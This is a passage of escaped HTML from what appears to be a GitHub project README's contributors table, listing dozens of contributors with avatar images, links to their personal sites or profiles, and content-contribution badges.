Mehta\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Yog Mehta</b></sub></a><br /><a href=\"#content-BitYog\" title=\"Content\">🖋</a></td>\r\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"http://kudapara.co.zw\"><img src=\"https://avatars3.githubusercontent.com/u/13519184?v=4\" width=\"100px;\" alt=\"Kudakwashe Paradzayi\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Kudakwashe Paradzayi</b></sub></a><br /><a href=\"#content-kudapara\" title=\"Content\">🖋</a></td>\r\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://www.t1st3.com/\"><img src=\"https://avatars1.githubusercontent.com/u/1469638?v=4\" width=\"100px;\" alt=\"t1st3\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>t1st3</b></sub></a><br /><a href=\"#content-t1st3\" title=\"Content\">🖋</a></td>\r\n    </tr>\r\n    <tr>\r\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/mulijordan1976\"><img src=\"https://avatars0.githubusercontent.com/u/33382022?v=4\" width=\"100px;\" alt=\"mulijordan1976\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>mulijordan1976</b></sub></a><br /><a href=\"#content-mulijordan1976\" title=\"Content\">🖋</a></td>\r\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://twitter.com/matchai\"><img src=\"https://avatars0.githubusercontent.com/u/4658208?v=4\" width=\"100px;\" alt=\"Matan Kushner\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Matan Kushner</b></sub></a><br /><a href=\"#content-matchai\" title=\"Content\">🖋</a></td>\r\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://fabiothiroki.github.io\"><img src=\"https://avatars2.githubusercontent.com/u/670057?v=4\" width=\"100px;\" alt=\"Fabio Hiroki\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Fabio Hiroki</b></sub></a><br /><a href=\"#content-fabiothiroki\" title=\"Content\">🖋</a></td>\r\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"http://james.sumners.info/\"><img src=\"https://avatars1.githubusercontent.com/u/321201?v=4\" width=\"100px;\" alt=\"James Sumners\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>James Sumners</b></sub></a><br /><a href=\"#content-jsumners\" title=\"Content\">🖋</a></td>\r\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://twitter.com/_DanGamble\"><img src=\"https://avatars2.githubusercontent.com/u/7152041?v=4\" width=\"100px;\" alt=\"Dan Gamble\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Dan Gamble</b></sub></a><br /><a href=\"#content-dan-gamble\" title=\"Content\">🖋</a></td>\r\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/trainorpj\"><img src=\"https://avatars3.githubusercontent.com/u/13276704?v=4\" width=\"100px;\" alt=\"PJ Trainor\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>PJ Trainor</b></sub></a><br /><a href=\"#content-trainorpj\" title=\"Content\">🖋</a></td>\r\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/reod\"><img src=\"https://avatars0.githubusercontent.com/u/3164299?v=4\" width=\"100px;\" alt=\"Remek Ambroziak\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Remek Ambroziak</b></sub></a><br /><a href=\"#content-reod\" title=\"Content\">🖋</a></td>\r\n    </tr>\r\n    <tr>\r\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://ca.non.co.il\"><img src=\"https://avatars0.githubusercontent.com/u/1829789?v=4\" width=\"100px;\" alt=\"Yoni Jah\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Yoni Jah</b></sub></a><br /><a href=\"#content-yonjah\" title=\"Content\">🖋</a></td>\r\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/hazolsky\"><img src=\"https://avatars1.githubusercontent.com/u/1270790?v=4\" width=\"100px;\" alt=\"Misha Khokhlov\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Misha Khokhlov</b></sub></a><br /><a href=\"#content-hazolsky\" title=\"Content\">🖋</a></td>\r\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://plus.google.com/+ЕвгенийОрехов/\"><img src=\"https://avatars3.githubusercontent.com/u/8045060?v=4\" width=\"100px;\" alt=\"Evgeny Orekhov\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Evgeny Orekhov</b></sub></a><br /><a href=\"#content-EvgenyOrekhov\" title=\"Content\">🖋</a></td>\r\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/gediminasml\"><img src=\"https://avatars3.githubusercontent.com/u/19854105?v=4\" width=\"100px;\" alt=\"-\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>-</b></sub></a><br /><a href=\"#content-gediminasml\" title=\"Content\">🖋</a></td>\r\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"http://hisaac.net\"><img src=\"https://avatars3.githubusercontent.com/u/923876?v=4\" width=\"100px;\" alt=\"Isaac Halvorson\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Isaac Halvorson</b></sub></a><br /><a href=\"#content-hisaac\" title=\"Content\">🖋</a></td>\r\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"http://www.vedrankaracic.com\"><img src=\"https://avatars3.githubusercontent.com/u/2808092?v=4\" width=\"100px;\" alt=\"Vedran Karačić\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Vedran Karačić</b></sub></a><br /><a href=\"#content-vkaracic\" title=\"Content\">🖋</a></td>\r\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/lallenlowe\"><img src=\"https://avatars3.githubusercontent.com/u/10761165?v=4\" width=\"100px;\" alt=\"lallenlowe\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>lallenlowe</b></sub></a><br /><a href=\"#content-lallenlowe\" title=\"Content\">🖋</a></td>\r\n    </tr>\r\n    <tr>\r\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/nwwells\"><img src=\"https://avatars2.githubusercontent.com/u/1039473?v=4\" width=\"100px;\" alt=\"Nathan Wells\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Nathan Wells</b></sub></a><br /><a href=\"#content-nwwells\" title=\"Content\">🖋</a></td>\r\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/paulovitin\"><img src=\"https://avatars0.githubusercontent.com/u/125503?v=4\" width=\"100px;\" alt=\"Paulo Reis\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Paulo Reis</b></sub></a><br /><a href=\"#content-paulovitin\" title=\"Content\">🖋</a></td>\r\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://snap.simpego.ch\"><img src=\"https://avatars2.githubusercontent.com/u/1989646?v=4\" width=\"100px;\" alt=\"syzer\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>syzer</b></sub></a><br /><a href=\"#content-syzer\" title=\"Content\">🖋</a></td>\r\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"http://sancho.dev\"><img src=\"https://avatars0.githubusercontent.com/u/3763599?v=4\" width=\"100px;\" alt=\"David Sancho\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>David Sancho</b></sub></a><br /><a href=\"#content-davesnx\" title=\"Content\">🖋</a></td>\r\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://apiforge.it\"><img src=\"https://avatars0.githubusercontent.com/u/4929965?v=4\" width=\"100px;\" alt=\"Robert Manolea\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Robert Manolea</b></sub></a><br /><a href=\"#content-pupix\" title=\"Content\">🖋</a></td>\r\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://jumptoglide.com\"><img src=\"https://avatars2.githubusercontent.com/u/708395?v=4\" width=\"100px;\" alt=\"Xavier Ho\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Xavier Ho</b></sub></a><br /><a href=\"#content-spaxe\" title=\"Content\">🖋</a></td>\r\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"http://www.ocular-rhythm.io\"><img src=\"https://avatars0.githubusercontent.com/u/2738518?v=4\" width=\"100px;\" alt=\"Aaron\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Aaron</b></sub></a><br /><a href=\"#content-ocularrhythm\" title=\"Content\">🖋</a></td>\r\n    </tr>\r\n    <tr>\r\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://septa97.me\"><img src=\"https://avatars2.githubusercontent.com/u/13742634?v=4\" width=\"100px;\" alt=\"Jan Charles Maghirang Adona\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Jan Charles Maghirang Adona</b></sub></a><br /><a href=\"#content-septa97\" title=\"Content\">🖋</a></td>\r\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://www.cakeresume.com/allenfang\"><img src=\"https://avatars2.githubusercontent.com/u/5351390?v=4\" width=\"100px;\" alt=\"Allen\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Allen</b></sub></a><br /><a href=\"#content-AllenFang\" title=\"Content\">🖋</a></td>\r\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/leonardovillela\"><img src=\"https://avatars3.githubusercontent.com/u/8650543?v=4\" width=\"100px;\" alt=\"Leonardo Villela\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Leonardo Villela</b></sub></a><br /><a href=\"#content-leonardovillela\" title=\"Content\">🖋</a></td>\r\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://michalzalecki.com\"><img src=\"https://avatars1.githubusercontent.com/u/3136577?v=4\" width=\"100px;\" alt=\"Michał Załęcki\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Michał Załęcki</b></sub></a><br /><a href=\"#content-MichalZalecki\" title=\"Content\">🖋</a></td>\r\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"http://www.wealthbar.com\"><img src=\"https://avatars1.githubusercontent.com/u/156449?v=4\" width=\"100px;\" alt=\"Chris Nicola\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Chris Nicola</b></sub></a><br /><a href=\"#content-chrisnicola\" title=\"Content\">🖋</a></td>\r\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://twitter.com/aecorredor\"><img src=\"https://avatars3.githubusercontent.com/u/9114987?v=4\" width=\"100px;\" alt=\"Alejandro Corredor\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Alejandro Corredor</b></sub></a><br /><a href=\"#content-aecorredor\" title=\"Content\">🖋</a></td>\r\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/cwar\"><img src=\"https://avatars3.githubusercontent.com/u/272843?v=4\" width=\"100px;\" alt=\"cwar\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>cwar</b></sub></a><br /><a href=\"#content-cwar\" title=\"Content\">🖋</a></td>\r\n    </tr>\r\n    <tr>\r\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/keyfoxth\"><img src=\"https://avatars3.githubusercontent.com/u/10647132?v=4\" width=\"100px;\" alt=\"Yuwei\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Yuwei</b></sub></a><br /><a href=\"#content-keyfoxth\" title=\"Content\">🖋</a></td>\r\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://bigcodenerd.org\"><img src=\"https://avatars3.githubusercontent.com/u/10895594?v=4\" width=\"100px;\" alt=\"Utkarsh Bhatt\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Utkarsh Bhatt</b></sub></a><br /><a href=\"#content-utkarshbhatt12\" title=\"Content\">🖋</a></td>\r\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/duartemendes\"><img src=\"https://avatars2.githubusercontent.com/u/12852058?v=4\" width=\"100px;\" alt=\"Duarte Mendes\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Duarte Mendes</b></sub></a><br /><a href=\"#content-duartemendes\" title=\"Content\">🖋</a></td>\r\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"http://jasonkim.ca\"><img src=\"https://avatars2.githubusercontent.com/u/103456?v=4\" width=\"100px;\" alt=\"Jason Kim\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Jason Kim</b></sub></a><br /><a href=\"#content-serv\" title=\"Content\">🖋</a></td>\r\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/Max101\"><img src=\"https://avatars2.githubusercontent.com/u/2124249?v=4\" width=\"100px;\" alt=\"Mitja O.\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Mitja O.</b></sub></a><br /><a href=\"#content-Max101\" title=\"Content\">🖋</a></td>\r\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"http://sandromiguel.com\"><img src=\"https://avatars0.githubusercontent.com/u/6423157?v=4\" width=\"100px;\" alt=\"Sandro Miguel Marques\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Sandro Miguel Marques</b></sub></a><br /><a href=\"#content-SandroMiguel\" title=\"Content\">🖋</a></td>\r\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/GabeKuslansky\"><img src=\"https://avatars3.githubusercontent.com/u/9855482?v=4\" width=\"100px;\" alt=\"Gabe\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Gabe</b></sub></a><br /><a href=\"#content-GabeKuslansky\" title=\"Content\">🖋</a></td>\r\n    </tr>\r\n    <tr>\r\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"http://ripper234.com/\"><img src=\"https://avatars1.githubusercontent.com/u/172282?v=4\" width=\"100px;\" alt=\"Ron Gross\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Ron Gross</b></sub></a><br /><a href=\"#content-ripper234\" title=\"Content\">🖋</a></td>\r\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"http://www.thecodebarbarian.com\"><img src=\"https://avatars2.githubusercontent.com/u/1620265?v=4\" width=\"100px;\" alt=\"Valeri Karpov\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Valeri Karpov</b></sub></a><br /><a href=\"#content-vkarpov15\" title=\"Content\">🖋</a></td>\r\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://sergiobernal.com\"><img src=\"https://avatars3.githubusercontent.com/u/20087388?v=4\" width=\"100px;\" alt=\"Sergio Bernal\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Sergio Bernal</b></sub></a><br /><a href=\"#content-imsergiobernal\" title=\"Content\">🖋</a></td>\r\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/ntelkedzhiev\"><img src=\"https://avatars2.githubusercontent.com/u/7332371?v=4\" width=\"100px;\" alt=\"Nikola Telkedzhiev\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Nikola Telkedzhiev</b></sub></a><br /><a href=\"#content-ntelkedzhiev\" title=\"Content\">🖋</a></td>\r\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/vitordagamagodoy\"><img src=\"https://avatars0.githubusercontent.com/u/26370059?v=4\" width=\"100px;\" alt=\"Vitor Godoy\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Vitor Godoy</b></sub></a><br /><a href=\"#content-vitordagamagodoy\" title=\"Content\">🖋</a></td>\r\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://www.manishsaraan.com/\"><img src=\"https://avatars2.githubusercontent.com/u/19797340?v=4\" width=\"100px;\" alt=\"Manish Saraan\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Manish Saraan</b></sub></a><br /><a href=\"#content-manishsaraan\" title=\"Content\">🖋</a></td>\r\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/uronly14me\"><img src=\"https://avatars2.githubusercontent.com/u/5186814?v=4\" width=\"100px;\" alt=\"Sangbeom Han\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Sangbeom Han</b></sub></a><br /><a href=\"#content-uronly14me\" title=\"Content\">🖋</a></td>\r\n    </tr>\r\n    <tr>\r\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://blackmatch.github.io\"><img src=\"https://avatars3.githubusercontent.com/u/12443954?v=4\" width=\"100px;\" alt=\"blackmatch\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>blackmatch</b></sub></a><br /><a href=\"#content-blackmatch\" title=\"Content\">🖋</a></td>\r\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://simmsreeve.com\"><img src=\"https://avatars3.githubusercontent.com/u/5173131?v=4\" width=\"100px;\" alt=\"Joe Reeve\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Joe Reeve</b></sub></a><br /><a href=\"#content-ISNIT0\" title=\"Content\">🖋</a></td>\r\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/BusbyActual\"><img src=\"https://avatars2.githubusercontent.com/u/14985016?v=4\" width=\"100px;\" alt=\"Ryan Busby\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Ryan Busby</b></sub></a><br /><a href=\"#content-BusbyActual\" title=\"Content\">🖋</a></td>\r\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"http://jsdecorator.com\"><img src=\"https://avatars3.githubusercontent.com/u/4482199?v=4\" width=\"100px;\" alt=\"Iman Mohamadi\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Iman Mohamadi</b></sub></a><br /><a href=\"#content-ImanMh\" title=\"Content\">🖋</a></td>\r\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/HeeL\"><img src=\"https://avatars1.githubusercontent.com/u/287769?v=4\" width=\"100px;\" alt=\"Sergii Paryzhskyi\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Sergii Paryzhskyi</b></sub></a><br /><a href=\"#content-HeeL\" title=\"Content\">🖋</a></td>\r\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/kapilepatel\"><img src=\"https://avatars3.githubusercontent.com/u/25738473?v=4\" width=\"100px;\" alt=\"Kapil Patel\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Kapil Patel</b></sub></a><br /><a href=\"#content-kapilepatel\" title=\"Content\">🖋</a></td>\r\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://twitter.com/justjavac\"><img src=\"https://avatars1.githubusercontent.com/u/359395?v=4\" width=\"100px;\" alt=\"迷渡\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>迷渡</b></sub></a><br /><a href=\"#content-justjavac\" title=\"Content\">🖋</a></td>\r\n    </tr>\r\n    <tr>\r\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/hozefaj\"><img src=\"https://avatars1.githubusercontent.com/u/2084833?v=4\" width=\"100px;\" alt=\"Hozefa\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Hozefa</b></sub></a><br /><a href=\"#content-hozefaj\" title=\"Content\">🖋</a></td>\r\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/el-ethan\"><img src=\"https://avatars3.githubusercontent.com/u/10249884?v=4\" width=\"100px;\" alt=\"Ethan\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Ethan</b></sub></a><br /><a href=\"#content-el-ethan\" title=\"Content\">🖋</a></td>\r\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/milkdeliver\"><img src=\"https://avatars2.githubusercontent.com/u/3108407?v=4\" width=\"100px;\" alt=\"Sam\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Sam</b></sub></a><br /><a href=\"#content-milkdeliver\" title=\"Content\">🖋</a></td>\r\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/ArlindXh\"><img src=\"https://avatars0.githubusercontent.com/u/19508764?v=4\" width=\"100px;\" alt=\"Arlind\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Arlind</b></sub></a><br /><a href=\"#content-ArlindXh\" title=\"Content\">🖋</a></td>\r\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/ttous\"><img src=\"https://avatars0.githubusercontent.com/u/19815440?v=4\" width=\"100px;\" alt=\"Teddy Toussaint\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Teddy Toussaint</b></sub></a><br /><a href=\"#content-ttous\" title=\"Content\">🖋</a></td>\r\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"http://ardern.io\"><img src=\"https://avatars2.githubusercontent.com/u/2419690?v=4\" width=\"100px;\" alt=\"Lewis\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Lewis</b></sub></a><br /><a href=\"#content-LewisArdern\" title=\"Content\">🖋</a></td>\r\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://gabriellidenor.com/\"><img src=\"https://avatars2.githubusercontent.com/u/765963?v=4\" width=\"100px;\" alt=\"Gabriel Lidenor \"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Gabriel Lidenor </b></sub></a><br /><a href=\"#content-GabrielLidenor\" title=\"Content\">🖋</a></td>\r\n    </tr>\r\n    <tr>\r\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/animir\"><img src=\"https://avatars3.githubusercontent.com/u/4623196?v=4\" width=\"100px;\" alt=\"Roman\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Roman</b></sub></a><br /><a href=\"#content-animir\" title=\"Content\">🖋</a></td>\r\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/Francozeira\"><img src=\"https://avatars1.githubusercontent.com/u/47419763?v=4\" width=\"100px;\" alt=\"Francozeira\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Francozeira</b></sub></a><br /><a href=\"#content-Francozeira\" title=\"Content\">🖋</a></td>\r\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://twitter.com/invvard\"><img src=\"https://avatars0.githubusercontent.com/u/7305493?v=4\" width=\"100px;\" alt=\"Invvard\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Invvard</b></sub></a><br /><a href=\"#content-Invvard\" title=\"Content\">🖋</a></td>\r\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://romulogarofalo.github.io/\"><img src=\"https://avatars1.githubusercontent.com/u/18492592?v=4\" width=\"100px;\" alt=\"Rômulo Garofalo\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Rômulo Garofalo</b></sub></a><br /><a href=\"#content-romulogarofalo\" title=\"Content\">🖋</a></td>\r\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"http://thoqbk.github.io/\"><img src=\"https://avatars0.githubusercontent.com/u/1491103?v=4\" width=\"100px;\" alt=\"Tho Q Luong\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Tho Q Luong</b></sub></a><br /><a href=\"#content-thoqbk\" title=\"Content\">🖋</a></td>\r\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/Qeneke\"><img src=\"https://avatars2.githubusercontent.com/u/20271568?v=4\" width=\"100px;\" alt=\"Burak Shen\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Burak Shen</b></sub></a><br /><a href=\"#content-Qeneke\" title=\"Content\">🖋</a></td>\r\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"http://www.happy-css.com\"><img src=\"https://avatars0.githubusercontent.com/u/2950505?v=4\" width=\"100px;\" alt=\"Martin Muzatko\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Martin Muzatko</b></sub></a><br /><a href=\"#content-MartinMuzatko\" title=\"Content\">🖋</a></td>\r\n    </tr>\r\n    <tr>\r\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/autoboxer\"><img src=\"https://avatars3.githubusercontent.com/u/2757601?v=4\" width=\"100px;\" alt=\"Jared Collier\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Jared Collier</b></sub></a><br /><a href=\"#content-autoboxer\" title=\"Content\">🖋</a></td>\r\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"http://hiltonmeyer.com\"><img src=\"https://avatars3.githubusercontent.com/u/4545860?v=4\" width=\"100px;\" 